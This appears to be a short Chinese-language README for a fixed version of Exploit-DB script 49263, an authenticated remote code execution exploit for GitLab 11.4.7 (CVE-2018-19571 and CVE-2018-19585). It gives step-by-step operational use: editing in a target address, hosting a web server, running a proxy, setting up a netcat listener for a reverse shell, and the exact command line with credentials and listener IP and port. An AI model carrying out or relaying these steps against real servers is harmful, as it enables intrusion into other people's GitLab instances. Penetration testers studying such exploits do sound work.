edb-49263-fixed - GitLab 11.4.7 - 经过身份验证的远程代码执行

这是Python脚本的修复版本，用于利用CVE-2018-19571和CVE-2018-19585（GitLab 11.4.7 - 经过身份验证的远程代码执行），该脚本可在 https://www.exploit-db.com/exploits/49263 (Python 3.9) 处获取。

用法

编辑脚本，将其中的目标地址替换为实际目标地址。

另外请注意，您需要：

1. 在目标GitLab实例上拥有一个有效的用户账户，
2. 在脚本运行的目录中，以端口80运行一个（python）Web服务器，
3. 在本地机器的端口8080上运行一个活动的代理服务器（例如，关闭拦截的BURP；如果没有代理服务器在本地主机上运行，或者它拒绝连接，脚本执行将失败且不会报错），以及
4. 在您机器的所需端口上设置一个netcat监听器。

然后按以下方式执行脚本：

python3 49263.py -U username -P password -l local-ip -p local-port-for-netcat-listener